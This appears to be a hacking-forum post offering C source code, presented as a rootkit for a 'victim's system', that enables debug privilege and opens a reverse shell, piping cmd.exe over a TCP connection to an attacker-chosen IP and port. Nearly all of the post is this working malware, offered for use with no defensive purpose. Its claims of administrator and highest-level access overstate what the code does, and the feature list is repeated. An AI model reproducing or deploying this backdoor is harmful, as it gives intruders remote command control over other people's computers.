After compiling and running in the victim's system This rootkit :>
1- Creates a back door to enter
2-Administrator access
3- And Windows PowerShell access has the highest access
1- Creates a back door to enter
2-Administrator access
3- And Windows PowerShell access has the highest access
Code:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//code by e1.coders
DWORD WINAPI BackdoorThread(LPVOID lpParam) {
SOCKET sock;
struct sockaddr_in server;
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
return 1;
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
WSACleanup();
return 1;
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("127.0.0.1"); // Replace with the desired IP address
server.sin_port = htons(4444); // Replace with the desired port number
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {
closesocket(sock);
WSACleanup();
return 1;
}
char buffer[1024];
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
if (CreateProcess("cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
closesocket(sock);
WSACleanup();
return 0;
}
BOOL ElevatePrivileges() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return FALSE;
}
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, 0)) {
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int main() {
if (ElevatePrivileges()) {
HANDLE hThread = CreateThread(NULL, 0, BackdoorThread, NULL, 0, NULL);
if (hThread != NULL) {
CloseHandle(hThread);
}
}
return 0;
}